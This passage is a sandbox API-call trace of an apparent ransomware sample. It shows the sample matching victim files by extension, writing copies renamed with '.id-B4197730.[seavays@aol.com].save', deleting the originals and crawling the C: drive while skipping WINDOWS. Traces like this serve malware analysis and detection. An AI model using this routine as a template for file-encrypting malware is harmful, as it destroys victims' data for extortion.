(lpString=".ppt") returned 4 [0203.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.922] lstrlenW (lpString=".zip") returned 4 [0203.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.922] lstrlenW (lpString=".rar") returned 4 [0203.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.922] lstrlenW (lpString=".bz2") returned 4 [0203.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.922] lstrlenW (lpString=".7z") returned 3 [0203.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.922] lstrlenW (lpString=".dbf") returned 4 [0203.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.922] lstrlenW (lpString=".1cd") returned 4 [0203.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.922] lstrlenW (lpString=".jpg") returned 4 [0203.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.924] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5618) returned 1 [0203.924] CloseHandle (hObject=0x334) returned 1 [0203.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 0x220 [0203.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0203.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.935] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.936] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0203.938] GetLastError () returned 0x0 [0203.938] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x15f2, lpOverlapped=0x0) returned 1 [0203.943] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1600, lpOverlapped=0x0) returned 1 [0203.944] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.944] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.945] SetEndOfFile (hFile=0x338) returned 1 [0203.945] CloseHandle (hObject=0x338) returned 1 [0203.945] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.945] SetEndOfFile (hFile=0x334) returned 1 [0203.949] CloseHandle (hObject=0x334) returned 1 [0203.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.951] lstrlenW (lpString=".doc") returned 4 [0203.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.951] lstrlenW (lpString=".docx") returned 5 [0203.951] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0203.951] lstrlenW (lpString=".pdf") returned 4 [0203.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.951] lstrlenW (lpString=".xls") returned 4 [0203.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.951] lstrlenW (lpString=".xlsx") returned 5 [0203.951] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0203.951] lstrlenW (lpString=".ppt") returned 4 [0203.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.951] lstrlenW (lpString=".zip") returned 4 [0203.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.951] lstrlenW (lpString=".rar") returned 4 [0203.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.952] lstrlenW (lpString=".bz2") returned 4 [0203.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.952] lstrlenW (lpString=".7z") returned 3 [0203.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.952] lstrlenW (lpString=".dbf") returned 4 [0203.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.952] lstrlenW (lpString=".1cd") returned 4 [0203.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0203.952] lstrlenW (lpString=".jpg") returned 4 [0203.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.954] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=42883) returned 1 [0203.954] CloseHandle (hObject=0x334) returned 1 [0203.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg")) returned 0x220 [0203.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0203.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.955] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.955] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0203.956] GetLastError () returned 0x0 [0203.956] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xa783, lpOverlapped=0x0) returned 1 [0203.960] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa790, lpOverlapped=0x0) returned 1 [0203.962] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.962] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.962] SetEndOfFile (hFile=0x338) returned 1 [0203.962] CloseHandle (hObject=0x338) returned 1 [0203.962] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.963] SetEndOfFile (hFile=0x334) returned 1 [0203.967] CloseHandle (hObject=0x334) returned 1 [0203.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg")) returned 1 [0203.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.969] lstrlenW (lpString=".doc") returned 4 [0203.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.969] lstrlenW (lpString=".docx") returned 5 [0203.969] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0203.969] lstrlenW (lpString=".pdf") returned 4 [0203.969] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.969] lstrlenW (lpString=".xls") returned 4 [0203.969] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.969] lstrlenW (lpString=".xlsx") returned 5 [0203.969] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0203.969] lstrlenW (lpString=".ppt") returned 4 [0203.969] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.969] lstrlenW (lpString=".zip") returned 4 [0203.969] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.969] lstrlenW (lpString=".rar") returned 4 [0203.969] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.969] lstrlenW (lpString=".bz2") returned 4 [0203.969] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.970] lstrlenW (lpString=".7z") returned 3 [0203.970] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.970] lstrlenW (lpString=".dbf") returned 4 [0203.970] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.970] lstrlenW (lpString=".1cd") returned 4 [0203.970] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0203.970] lstrlenW (lpString=".jpg") returned 4 [0203.970] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.973] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=21620) returned 1 [0203.973] CloseHandle (hObject=0x334) returned 1 [0203.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 0x220 [0203.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0203.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0203.974] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.974] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0203.975] GetLastError () returned 0x0 [0203.975] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x5474, lpOverlapped=0x0) returned 1 [0204.441] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5480, lpOverlapped=0x0) returned 1 [0204.442] ReadFile (in: hFile=0x334, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.442] WriteFile (in: hFile=0x338, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.443] SetEndOfFile (hFile=0x338) returned 1 [0204.443] CloseHandle (hObject=0x338) returned 1 [0204.443] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.443] SetEndOfFile (hFile=0x334) returned 1 [0204.446] CloseHandle (hObject=0x334) returned 1 [0204.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 1 [0204.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.449] lstrlenW (lpString=".doc") returned 4 [0204.449] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0204.449] lstrlenW (lpString=".docx") returned 5 [0204.449] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0204.449] lstrlenW (lpString=".pdf") returned 4 [0204.449] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0204.449] lstrlenW (lpString=".xls") returned 4 [0204.449] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0204.449] lstrlenW (lpString=".xlsx") returned 5 [0204.449] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0204.449] lstrlenW (lpString=".ppt") returned 4 [0204.449] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.450] lstrlenW (lpString=".zip") returned 4 [0204.450] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0204.450] lstrlenW (lpString=".rar") returned 4 [0204.450] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0204.450] lstrlenW (lpString=".bz2") returned 4 [0204.450] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0204.450] lstrlenW (lpString=".7z") returned 3 [0204.450] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.450] lstrlenW (lpString=".dbf") returned 4 [0204.450] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.450] lstrlenW (lpString=".1cd") returned 4 [0204.450] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0204.450] lstrlenW (lpString=".jpg") returned 4 [0204.450] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.458] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e98, Size=0x20) returned 0x459f7e0 [0204.458] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2ef8 [0204.458] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2ef8, Size=0x20) returned 0x459f858 [0204.459] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.459] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.459] Wow64DisableWow64FsRedirection (in: OldValue=0x2d6ff50 | out: OldValue=0x2d6ff50*=0x1) returned 1 [0204.459] lstrlenW (lpString="kernel32.dll") returned 12 [0204.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f858 | out: hHeap=0x710000) returned 1 [0204.459] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f7e0 | out: hHeap=0x710000) returned 1 Thread: id = 43 os_tid = 0xe20 [0157.786] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x7ef538 [0157.787] lstrlenW (lpString="C:") returned 2 [0157.787] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x72a348 [0157.787] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.787] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0157.787] lstrlenW (lpString="$GetCurrent") returned 11 [0157.787] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0157.788] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0157.788] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.788] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0157.795] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.796] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0157.796] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.796] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0157.796] lstrlenW (lpString="Logs") returned 4 [0157.796] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0157.796] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0157.796] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.796] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0157.806] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="..", cAlternateFileName="")) returned 1 [0157.806] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb097e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6eb097e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DOWNLE~1.SAV")) returned 1 [0157.806] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save") returned 72 [0157.806] lstrlenW (lpString=".1cd") returned 4 [0157.806] lstrcmpiW (lpString1=".1cd", lpString2="save") returned -1 [0157.806] lstrlenW (lpString=".3ds") returned 4 [0157.806] 